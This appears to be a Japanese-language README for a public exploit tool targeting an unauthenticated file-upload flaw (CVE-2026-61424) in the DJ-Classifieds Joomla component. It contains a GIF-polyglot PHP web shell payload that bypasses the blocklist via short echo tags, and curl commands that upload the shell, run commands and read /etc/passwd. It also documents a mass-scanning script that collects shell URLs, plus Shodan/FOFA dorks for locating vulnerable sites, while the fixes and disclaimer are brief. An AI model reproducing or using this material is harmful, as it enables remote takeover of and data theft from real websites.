
DJ-Classifieds Joomla コンポーネントの認証なしファイルアップロード RCE。PHP ショートタグによる 3 文字フィルターバイパス。CVSS 10.0 | CWE-434 | com_djclassifieds < 3.11.2
Joomla 用 DJ-Classifieds における、認証なしでの任意ファイルアップロード脆弱性。imageupload タスクのエンドポイントは 認証なし でファイルアップロードを処理し、PHP のショートオープンタグ (<?=) を使うだけで簡単に回避できる 3つの文字列のブロックリスト (<?php、eval(、base64) に依存しています。GIF ポリグロットと組み合わせることで、アップロードされたファイルは完全に機能する PHP ウェブシェルを含みながら、すべての画像検証チェックを通過します。
| フィールド | 詳細 |
|---|---|
| CVE | CVE-2026-61424 |
| 製品 | DJ-Classifieds (DJ-Extensions による Joomla 拡張機能) |
| CVSS 4.0 | 10.0 (緊急) |
| 種別 | CWE-434 — 制限のないファイルアップロード |
| 発見 | Phil Taylor / mySites.guru — 2026年7月16日 |
| 悪用 | 公開 前 に実環境での悪用が確認済み |
| ステータス | バージョン |
|---|---|
| 影響あり | 1.0 — 3.11.1 |
| 修正済み | 3.11.2 (2026年7月20日) |
administrator/components/com_djclassifieds/lib/djupload.php 内の upload() メソッドは、認証チェックなし かつ CSRF トークン検証なし で imageupload タスクにマッピングされています。
// administrator/components/com_djclassifieds/lib/djupload.php
// imageupload task → upload() method
// MISSING: JFactory::getUser() auth check
// MISSING: JSession::checkToken() CSRF check
$name = $_REQUEST['name'] ?? $_REQUEST['filename'] ?? '';
$raw_body = file_get_contents('php://input');
// ... writes file to tmp/djupload/<name>
コンテンツスキャナは 3つのリテラル文字列 のみをブロックリストに登録しています:
// The ONLY malicious-content check in the entire upload handler:
if (preg_match('/<\?php|eval\(|base64/i', $fileContent)) {
die('Malicious file detected');
}
これは <?php、eval(、base64 をブロックしますが、PHP のショートオープンタグは ブロックしません:
<?=system($_GET['c']);?> ← 0/3 blocked strings → PASSES
PHP のショートエコータグ (<?=) は PHP 5.4 以降デフォルトで有効です。
GIF89a ヘッダー + <?=system($_GET['c']);?>name=shell.gif を指定して index.php?option=com_djclassifieds&task=imageupload に POST する.gif 拡張子 ✓ getimagesize() ✓ <?php/eval(/base64 なし ✓tmp/djupload/<shell>.gif に保存されるhttps://target.com/tmp/djupload/shell.gif?c=id| ファイル | 役割 |
|---|---|
administrator/components/com_djclassifieds/lib/djupload.php | upload() メソッド — 認証なし、3文字列フィルタ |
components/com_djclassifieds/controller.php | imageupload タスクを upload() にルーティング |
administrator/components/com_djclassifieds/djclassifieds.xml | <version> タグによるバージョン情報の開示 |
公開前に実環境で観測された匿名スキャナのプローブ:
POST /index.php?option=com_djclassifieds&task=imageupload
name=<random>.gif filename=<random>.gif
— no cookie, no session, no referer
git clone https://github.com/shinthink/CVE-2026-61424.git
cd CVE-2026-61424
pip install -r requirements.txt
python cve_2026_61424.py -t target.com
python cve_2026_61424.py -f targets.txt -o shells.txt
| フラグ | 説明 | デフォルト |
|---|---|---|
-t, --target | 単一ターゲットのホスト | — |
-f, --file | ターゲット一覧のファイル (1行に1つ、# でコメント) | — |
-o, --output | RCE URL をファイルに保存 | — |
--threads | マスモード用のワーカースレッド | 30 |
--no-cleanup | RCE 実行後にシェルを削除しない | False |
--debug | デバッグ出力 | False |
$ python cve_2026_61424.py -t target.com
Host : target.com
DJ-Classifieds: YES v3.11.1
Upload : YES
RCE : YES
Shell : https://target.com/tmp/djupload/img_abc123.gif
Output : DJ-SHELL-OK Linux ... uid=33(www-data) gid=33(www-data) ...
Time : 2.1s
# Step 1 — Upload polyglot shell
curl -sk -X POST \
"https://target.com/index.php?option=com_djclassifieds&task=imageupload&name=shell.gif&filename=shell.gif" \
-H "Content-Type: image/gif" \
--data-binary @polyglot.gif
# Step 2 — Verify RCE
curl -sk "https://target.com/tmp/djupload/shell.gif?c=id;hostname;uname+-a"
# Step 3 — Execute arbitrary commands
curl -sk "https://target.com/tmp/djupload/shell.gif?c=cat%20/etc/passwd"
# DJ-Classifieds component
body="com_djclassifieds"
# Version disclosure (XML manifest)
body="DJ-Classifieds" && body="<version>"
# Exposed djupload directory
body="Index of" && body="djupload"
# Shodan
http.html:"com_djclassifieds" http.component:"Joomla"
upload() の前に JFactory::getUser() によるゲストチェックimageupload タスクでの JSession::checkToken()jpg、jpeg、png、gif)このツールは教育目的および許可を得たセキュリティテスト専用です。自分が所有するシステム、または明示的なテスト許可を得たシステムに対してのみ使用してください。作者は不正使用や損害について一切の責任を負いません。
| リソース | リンク |
|---|---|
| IONIX Threat Center | ionix.io/threat-center/cve-2026-61424 |
| mySites.guru Discovery | mysites.guru/blog/dj-classifieds-unauthenticated-file-upload |
| DJ-Extensions Security Release | dj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release |
| CVE.org Record | cve.org/CVERecord?id=CVE-2026-61424 |
| INCIBE-CERT | incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2026-61424 |
DJ-Extensions または mySites.guru とは提携関係にありません。